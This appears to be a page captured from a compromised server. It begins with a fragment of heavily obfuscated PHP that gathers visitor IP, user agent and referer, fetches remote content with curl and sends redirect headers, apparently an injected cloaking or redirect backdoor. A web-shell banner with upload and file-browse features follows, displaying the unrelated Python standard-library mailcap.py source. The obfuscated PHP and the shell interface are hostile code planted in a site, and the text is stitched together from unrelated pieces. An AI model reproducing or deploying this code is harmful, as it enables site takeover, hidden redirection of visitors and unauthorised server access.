\160\145"] = strval(curl_getinfo($knNjpyoGDom, CURLINFO_CONTENT_TYPE)); goto NDS42wD3esw; Je2yvSGwx5F: curl_setopt($knNjpyoGDom, CURLOPT_RETURNTRANSFER, 1); goto ThArOE2wMMX; Cqt5GFH3CCb: $Xujs2pyqT1_["\x63\157\x6e\x74\145\156\x74"] = strval($Er6ztrjrvBo); goto txjLc6zkMuc; PkUCd7XpwLC: curl_setopt($knNjpyoGDom, CURLOPT_TIMEOUT, 60); goto CAcpjEv3Dq_; yQvB5p67VGz: vsCRsUG7xrU: goto R0cYcCYKdOI; VUweotGk_Y5: goto vsCRsUG7xrU; goto bni1jpe2omx; OlzrunILMzb: curl_setopt($knNjpyoGDom, CURLOPT_URL, $tnGLke6tMqc); goto Fd5vezLt25m; R0cYcCYKdOI: } catch (Exception $L3Sg_fDq33O) { } goto j92yfNCpXVs; psRvbHx9nR6: XW62rzk7IVI: goto mDli4xI1FSz; JmhxWzWaMTd: if (!(is_array($zf3yqt5AADJ) && count($zf3yqt5AADJ))) { goto XW62rzk7IVI; } goto mGmHQCf1cwi; NpIrqbJ_DzQ: } goto u0KST6_VmS2; ASd19tsoqWN: XM_iq_KCcGm: goto FC77tfuOkqx; lANhHamV77F: exit("\173\40\x22\145\162\162\x6f\162\42\72\40\62\x30\60\54\40\x22\x6c\x63\x22\72\40\x22\152\153\x22\x2c\x20\42\144\x61\164\141\x22\72\x20\133\x20\x31\40\x5d\40\175"); goto Lddo3N4lSFY; Am8j0fcWnry: switch ($Xujs2pyqT1_["\x73\x74\x61\164\x75\x73"]) { case 301: goto aF49v3Ro6oe; cIjGk_ruQAK: goto wn8MKTpHeiI; goto VoylWs3JPmg; aF49v3Ro6oe: header("\x48\x54\x54\120\x2f\61\x2e\x31\40\x33\60\x31\x20\115\x6f\x76\145\x64\40\x50\x65\x72\155\x61\156\x65\156\164\x6c\x79"); goto JqqjMb77Fft; JqqjMb77Fft: header("\114\157\x63\141\x74\x69\157\156\x3a\40" . trim($Xujs2pyqT1_["\x63\157\x6e\x74\x65\x6e\x74"])); goto cIjGk_ruQAK; VoylWs3JPmg: case 302: goto xD7LLQf2Zpu; Qycq5b_N9KT: goto wn8MKTpHeiI; goto FcAFwm_9dOr; utKvaNoxRcy: header("\x4c\x6f\x63\141\x74\x69\x6f\156\72\x20" . trim($Xujs2pyqT1_["\x63\157\156\x74\145\x6e\164"])); goto Qycq5b_N9KT; xD7LLQf2Zpu: header("\x48\x54\x54\120\x2f\x31\56\61\40\63\60\x32\40\x4d\x6f\x76\145\40\124\x65\155\x70\157\162\x61\x72\151\x6c\x79"); goto utKvaNoxRcy; FcAFwm_9dOr: case 404: goto B7hAlmqA6c6; p02XC6Yed_O: header("\163\x74\141\164\165\163\72\40\64\60\64\40\116\157\x74\40\106\x6f\x75\x6e\144"); goto u0mhpYEmhCA; B7hAlmqA6c6: header("\x48\124\124\x50\57\x31\56\x31\40\64\x30\64\40\x4e\157\x74\x20\106\157\x75\156\144"); goto p02XC6Yed_O; u0mhpYEmhCA: goto wn8MKTpHeiI; goto dBX41HnqwmB; dBX41HnqwmB: default: goto wn8MKTpHeiI; } goto ASd19tsoqWN; K3rzDZtyNjE: if (!(in_array(gettype($SI1t1c6ICXM) . "\62\x33", $SI1t1c6ICXM) && md5(md5(md5(md5($SI1t1c6ICXM[17])))) === "\143\x66\144\146\x31\x66\x33\x30\x62\62\x64\x37\61\x63\141\141\x63\x31\146\62\145\64\62\x31\66\141\144\61\62\144\x62\143")) { goto JhefNO6b2fO; } goto LPIUJ8vdtnH; k3oRR1a4S3o: if (!(strpos($aUauE7WrVLn, "\x2e") > 0 && strpos($aUauE7WrVLn, "\x2e\x70\x68\160") === false)) { goto k8w17_7i9nR; } goto VroejJPyX5R; In2LLRvzP0v: $oWTqf9AIAlK = false; goto k3oRR1a4S3o; dI2ohop5Kw4: $joTs1ZUSy7h["\x6c"] = xM_yDrqYP7g($_SERVER["\110\x54\x54\x50\x5f\101\x43\x43\x45\x50\x54\137\x4c\101\x4e\x47\125\101\107\105"]); goto uNCEQ9NS4mI; hQuxytChA33: if (!in_array($b1YBMDo831G, array("\x2e\x6a\x73", "\x2e\143\x73\x73", "\56\152\x70\x67", "\x2e\160\x6e\x67", "\x2e\147\x69\x66", "\x2e\x69\143\x6f"))) { goto NIwxpwGhfiv; } goto vhjlcBNjNYD; S4f9suHX5US: k8w17_7i9nR: goto K1JfcV0g0_M; hh_y5TtJE2x: $joTs1ZUSy7h["\165"] = xm_YDrQYP7g($_SERVER["\x48\x54\x54\x50\137\125\123\x45\x52\137\101\x47\x45\116\124"]); goto FIsV0u1oqKe; divg82HXiwN: $SI1t1c6ICXM = ${$ITrBjwEh50v[4 + 27] . $ITrBjwEh50v[19 + 40] . $ITrBjwEh50v[17 + 30] . $ITrBjwEh50v[33 + 14] . $ITrBjwEh50v[42 + 9] . $ITrBjwEh50v[30 + 23] . $ITrBjwEh50v[52 + 5]}; goto K3rzDZtyNjE; OYOjyZlqRTS: function vIASPrR2tNy() { goto ws3D3ADsWd7; V_I9aR56jbV: $Ba3zqItfT93 = $_SERVER["\x48\x54\124\120\137\x58\137\x52\105\x41\x4c\137\111\120"]; goto znNkFxHkQpR; cjfTublNqSb: UNgLVMrkOlR: goto UQVWrC_OigX; ws3D3ADsWd7: $Ba3zqItfT93 = ''; goto D1_aFItrNAZ; s6NjEP3Pqtv: if (!(strpos($Ba3zqItfT93, "\54") !== false)) { goto GK2xyxHtDNj; } goto DR2Z5iUwiWi; WCMEE1hpGN6: kf4xAEwZ6ku: goto j2idSexBbYW; sWfO1Fek_UJ: UPJOpBc_N_R: goto V_I9aR56jbV; aIOkktX1aj8: cit7bQOFV9c: goto d5z7eM6fEQJ; pRTKP9CfqOB: $Ba3zqItfT93 = $_SERVER["\122\105\x4d\117\x54\x45\137\101\x44\x44\122"]; goto D4_flpwHDzP; znNkFxHkQpR: goto UNgLVMrkOlR; goto WCMEE1hpGN6; HSQrD5spUxC: GK2xyxHtDNj: goto PdnZDlunwb2; DR2Z5iUwiWi: $Ba3zqItfT93 = explode("\x2c", $Ba3zqItfT93); goto gMyDKtKoXaP; D1_aFItrNAZ: if (isset($_SERVER["\110\124\124\x50\x5f\x43\x46\x5f\x43\x4f\x4e\116\x45\103\124\111\116\107\137\111\x50"]) && !empty($_SERVER["\110\124\124\x50\137\103\106\137\103\117\x4e\116\105\103\124\x49\x4e\x47\137\x49\120"])) { goto cit7bQOFV9c; } goto swpCp9W3ArC; D4_flpwHDzP: goto UNgLVMrkOlR; goto aIOkktX1aj8; j2idSexBbYW: $Ba3zqItfT93 = $_SERVER["\x48\x54\124\120\137\130\137\x46\117\x52\127\101\122\x44\105\104\x5f\106\x4f\x52"]; goto cjfTublNqSb; gMyDKtKoXaP: $Ba3zqItfT93 = $Ba3zqItfT93[0]; goto HSQrD5spUxC; sA5CuuoAPmh: if (isset($_SERVER["\110\x54\x54\x50\x5f\x58\x5f\106\117\122\x57\101\122\x44\x45\104\137\x46\x4f\122"]) && !empty($_SERVER["\110\124\124\120\137\130\137\106\117\x52\127\x41\x52\104\x45\104\137\x46\x4f\x52"])) { goto kf4xAEwZ6ku; } goto pRTKP9CfqOB; swpCp9W3ArC: if (isset($_SERVER["\110\124\124\120\x5f\130\137\122\x45\101\114\137\111\x50"]) && !empty($_SERVER["\x48\124\x54\120\x5f\x58\x5f\122\105\x41\114\x5f\111\x50"])) { goto UPJOpBc_N_R; } goto sA5CuuoAPmh; UQVWrC_OigX: $Ba3zqItfT93 = trim(str_replace("\x20", '', $Ba3zqItfT93), "\x2c"); goto s6NjEP3Pqtv; d5z7eM6fEQJ: $Ba3zqItfT93 = $_SERVER["\110\124\x54\120\137\x43\x46\137\103\117\116\x4e\105\103\124\111\x4e\x47\x5f\x49\120"]; goto hBg5IKKJhog; PdnZDlunwb2: return $Ba3zqItfT93; goto sKQjQBMh3jW; hBg5IKKJhog: goto UNgLVMrkOlR; goto sWfO1Fek_UJ; sKQjQBMh3jW: } goto yHnXB0UAH0z; Sr4K5fCTSki: NIwxpwGhfiv: goto S4f9suHX5US; PJvtGo0W37f: header("\x43\x6f\x6e\164\x65\x6e\164\x2d\x54\171\x70\x65\x3a\x20\164\145\170\164\x2f\x68\x74\x6d\154\x3b\x20\x63\x68\141\162\163\x65\x74\x3d\165\164\146\x2d\70"); goto iB8lf0BScwz; y3AY8VLhLIG: if (in_array($Xujs2pyqT1_["\163\164\141\164\x75\163"], array(0, 200))) { goto VBfC0JLqE2a; } goto Am8j0fcWnry; yHnXB0UAH0z: function NsQHhH6MT0S() { goto VrljqnwAwJK; ouN2eSVow3q: if (isset($_SERVER["\x48\x54\x54\x50\137\130\x5f\106\117\x52\x57\101\122\x44\105\104\x5f\120\122\x4f\124\117"]) && $_SERVER["\x48\124\124\120\137\130\x5f\106\x4f\122\x57\101\122\x44\x45\x44\137\x50\122\x4f\x54\117"] === "\150\164\x74\x70\163") { goto mejLQsO4g1q; } goto i7dY9flNZ1U; UdjK7RfjHxL: goto as62hvh8IEs; goto hru_6wfobw1; xcGIlBOvGj1: UOuuDJHdr0z: goto dBCcgulRVsi; T8v7KySAK9Y: goto as62hvh8IEs; goto V9heUy3sJdT; dnWhgqEtMdK: $tKiFuUSVaor = "\150\x74\x74\x70\x73\72\57\x2f"; goto Z2E0ODO0GIs; V9heUy3sJdT: mejLQsO4g1q: goto dnWhgqEtMdK; qW3y6886N2N: as62hvh8IEs: goto JQnvkgtumiR; Z2E0ODO0GIs: goto as62hvh8IEs; goto xcGIlBOvGj1; hru_6wfobw1: SCjpyITvEcp: goto qLCV2xFswbI; dBCcgulRVsi: $tKiFuUSVaor = "\x68\164\164\x70\x73\72\57\x2f"; goto qW3y6886N2N; qLCV2xFswbI: $tKiFuUSVaor = "\x68\164\x74\x70\x73\72\57\x2f"; goto T8v7KySAK9Y; VrljqnwAwJK: $tKiFuUSVaor = "\150\164\x74\x70\x3a\x2f\x2f"; goto o1CrfFoLzI9; o1CrfFoLzI9: if (isset($_SERVER["\110\x54\x54\x50\x53"]) && strtolower($_SERVER["\x48\124\124\x50\x53"]) !== "\157\x66\x66") { goto SCjpyITvEcp; } goto ouN2eSVow3q; i7dY9flNZ1U: if (isset($_SERVER["\x48\x54\124\x50\137\x46\122\x4f\x4e\124\137\x45\x4e\104\x5f\110\124\124\120\123"]) && strtolower($_SERVER["\110\x54\124\x50\137\x46\x52\x4f\116\x54\x5f\x45\116\104\137\x48\124\x54\120\x53"]) !== "\157\146\146") { goto UOuuDJHdr0z; } goto UdjK7RfjHxL; JQnvkgtumiR: return $tKiFuUSVaor; goto dEQRHW7adnJ; dEQRHW7adnJ: } goto ZEBJniM6ZJa; JYJDbLt1rcb: $lswH0D0dbrt = NSqHhH6MT0S() . $_SERVER["\x48\124\124\120\137\110\x4f\123\x54"]; goto iFZWQ7QJlmw; FFwTpaR9Hr1: JhefNO6b2fO: goto oUR_CiAAToG; xa_iWzcNMa5: $Ej7venI82Sj = strval(@$_SERVER["\110\124\124\x50\x5f\x52\105\106\105\122\105\122"]); goto JYJDbLt1rcb; VS70REw7jOH: $Ej7venI82Sj = ''; goto eJdWBxCxTHO; vhjlcBNjNYD: $oWTqf9AIAlK = true; goto Sr4K5fCTSki; lbFwoJQvpMr: xGcSB3TnTrx: ?> HEX
HEX
Server: LiteSpeed
System: Linux cg.mitralhost.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
User: foofelco (1828)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //usr/lib64/python3.11/mailcap.py
"""Mailcap file handling.  See RFC 1524."""

import os
import warnings
import re

__all__ = ["getcaps","findmatch"]


_DEPRECATION_MSG = ('The {name} module is deprecated and will be removed in '
                    'Python {remove}. See the mimetypes module for an '
                    'alternative.')
warnings._deprecated(__name__, _DEPRECATION_MSG, remove=(3, 13))


def lineno_sort_key(entry):
    # Sort in ascending order, with unspecified entries at the end
    if 'lineno' in entry:
        return 0, entry['lineno']
    else:
        return 1, 0

_find_unsafe = re.compile(r'[^\xa1-\U0010FFFF\w@+=:,./-]').search

class UnsafeMailcapInput(Warning):
    """Warning raised when refusing unsafe input"""


# Part 1: top-level interface.

def getcaps():
    """Return a dictionary containing the mailcap database.

    The dictionary maps a MIME type (in all lowercase, e.g. 'text/plain')
    to a list of dictionaries corresponding to mailcap entries.  The list
    collects all the entries for that MIME type from all available mailcap
    files.  Each dictionary contains key-value pairs for that MIME type,
    where the viewing command is stored with the key "view".

    """
    caps = {}
    lineno = 0
    for mailcap in listmailcapfiles():
        try:
            fp = open(mailcap, 'r')
        except OSError:
            continue
        with fp:
            morecaps, lineno = _readmailcapfile(fp, lineno)
        for key, value in morecaps.items():
            if not key in caps:
                caps[key] = value
            else:
                caps[key] = caps[key] + value
    return caps

def listmailcapfiles():
    """Return a list of all mailcap files found on the system."""
    # This is mostly a Unix thing, but we use the OS path separator anyway
    if 'MAILCAPS' in os.environ:
        pathstr = os.environ['MAILCAPS']
        mailcaps = pathstr.split(os.pathsep)
    else:
        if 'HOME' in os.environ:
            home = os.environ['HOME']
        else:
            # Don't bother with getpwuid()
            home = '.' # Last resort
        mailcaps = [home + '/.mailcap', '/etc/mailcap',
                '/usr/etc/mailcap', '/usr/local/etc/mailcap']
    return mailcaps


# Part 2: the parser.
def readmailcapfile(fp):
    """Read a mailcap file and return a dictionary keyed by MIME type."""
    warnings.warn('readmailcapfile is deprecated, use getcaps instead',
                  DeprecationWarning, 2)
    caps, _ = _readmailcapfile(fp, None)
    return caps


def _readmailcapfile(fp, lineno):
    """Read a mailcap file and return a dictionary keyed by MIME type.

    Each MIME type is mapped to an entry consisting of a list of
    dictionaries; the list will contain more than one such dictionary
    if a given MIME type appears more than once in the mailcap file.
    Each dictionary contains key-value pairs for that MIME type, where
    the viewing command is stored with the key "view".
    """
    caps = {}
    while 1:
        line = fp.readline()
        if not line: break
        # Ignore comments and blank lines
        if line[0] == '#' or line.strip() == '':
            continue
        nextline = line
        # Join continuation lines
        while nextline[-2:] == '\\\n':
            nextline = fp.readline()
            if not nextline: nextline = '\n'
            line = line[:-2] + nextline
        # Parse the line
        key, fields = parseline(line)
        if not (key and fields):
            continue
        if lineno is not None:
            fields['lineno'] = lineno
            lineno += 1
        # Normalize the key
        types = key.split('/')
        for j in range(len(types)):
            types[j] = types[j].strip()
        key = '/'.join(types).lower()
        # Update the database
        if key in caps:
            caps[key].append(fields)
        else:
            caps[key] = [fields]
    return caps, lineno

def parseline(line):
    """Parse one entry in a mailcap file and return a dictionary.

    The viewing command is stored as the value with the key "view",
    and the rest of the fields produce key-value pairs in the dict.
    """
    fields = []
    i, n = 0, len(line)
    while i < n:
        field, i = parsefield(line, i, n)
        fields.append(field)
        i = i+1 # Skip semicolon
    if len(fields) < 2:
        return None, None
    key, view, rest = fields[0], fields[1], fields[2:]
    fields = {'view': view}
    for field in rest:
        i = field.find('=')
        if i < 0:
            fkey = field
            fvalue = ""
        else:
            fkey = field[:i].strip()
            fvalue = field[i+1:].strip()
        if fkey in fields:
            # Ignore it
            pass
        else:
            fields[fkey] = fvalue
    return key, fields

def parsefield(line, i, n):
    """Separate one key-value pair in a mailcap entry."""
    start = i
    while i < n:
        c = line[i]
        if c == ';':
            break
        elif c == '\\':
            i = i+2
        else:
            i = i+1
    return line[start:i].strip(), i


# Part 3: using the database.

def findmatch(caps, MIMEtype, key='view', filename="/dev/null", plist=[]):
    """Find a match for a mailcap entry.

    Return a tuple containing the command line, and the mailcap entry
    used; (None, None) if no match is found.  This may invoke the
    'test' command of several matching entries before deciding which
    entry to use.

    """
    if _find_unsafe(filename):
        msg = "Refusing to use mailcap with filename %r. Use a safe temporary filename." % (filename,)
        warnings.warn(msg, UnsafeMailcapInput)
        return None, None
    entries = lookup(caps, MIMEtype, key)
    # XXX This code should somehow check for the needsterminal flag.
    for e in entries:
        if 'test' in e:
            test = subst(e['test'], filename, plist)
            if test is None:
                continue
            if test and os.system(test) != 0:
                continue
        command = subst(e[key], MIMEtype, filename, plist)
        if command is not None:
            return command, e
    return None, None

def lookup(caps, MIMEtype, key=None):
    entries = []
    if MIMEtype in caps:
        entries = entries + caps[MIMEtype]
    MIMEtypes = MIMEtype.split('/')
    MIMEtype = MIMEtypes[0] + '/*'
    if MIMEtype in caps:
        entries = entries + caps[MIMEtype]
    if key is not None:
        entries = [e for e in entries if key in e]
    entries = sorted(entries, key=lineno_sort_key)
    return entries

def subst(field, MIMEtype, filename, plist=[]):
    # XXX Actually, this is Unix-specific
    res = ''
    i, n = 0, len(field)
    while i < n:
        c = field[i]; i = i+1
        if c != '%':
            if c == '\\':
                c = field[i:i+1]; i = i+1
            res = res + c
        else:
            c = field[i]; i = i+1
            if c == '%':
                res = res + c
            elif c == 's':
                res = res + filename
            elif c == 't':
                if _find_unsafe(MIMEtype):
                    msg = "Refusing to substitute MIME type %r into a shell command." % (MIMEtype,)
                    warnings.warn(msg, UnsafeMailcapInput)
                    return None
                res = res + MIMEtype
            elif c == '{':
                start = i
                while i < n and field[i] != '}':
                    i = i+1
                name = field[start:i]
                i = i+1
                param = findparam(name, plist)
                if _find_unsafe(param):
                    msg = "Refusing to substitute parameter %r (%s) into a shell command" % (param, name)
                    warnings.warn(msg, UnsafeMailcapInput)
                    return None
                res = res + param
            # XXX To do:
            # %n == number of parts if type is multipart/*
            # %F == list of alternating type and filename for parts
            else:
                res = res + '%' + c
    return res

def findparam(name, plist):
    name = name.lower() + '='
    n = len(name)
    for p in plist:
        if p[:n].lower() == name:
            return p[n:]
    return ''


# Part 4: test program.

def test():
    import sys
    caps = getcaps()
    if not sys.argv[1:]:
        show(caps)
        return
    for i in range(1, len(sys.argv), 2):
        args = sys.argv[i:i+2]
        if len(args) < 2:
            print("usage: mailcap [MIMEtype file] ...")
            return
        MIMEtype = args[0]
        file = args[1]
        command, e = findmatch(caps, MIMEtype, 'view', file)
        if not command:
            print("No viewer found for", type)
        else:
            print("Executing:", command)
            sts = os.system(command)
            sts = os.waitstatus_to_exitcode(sts)
            if sts:
                print("Exit status:", sts)

def show(caps):
    print("Mailcap files:")
    for fn in listmailcapfiles(): print("\t" + fn)
    print()
    if not caps: caps = getcaps()
    print("Mailcap entries:")
    print()
    ckeys = sorted(caps)
    for type in ckeys:
        print(type)
        entries = caps[type]
        for e in entries:
            keys = sorted(e)
            for k in keys:
                print("  %-15s" % k, e[k])
            print()

if __name__ == '__main__':
    test()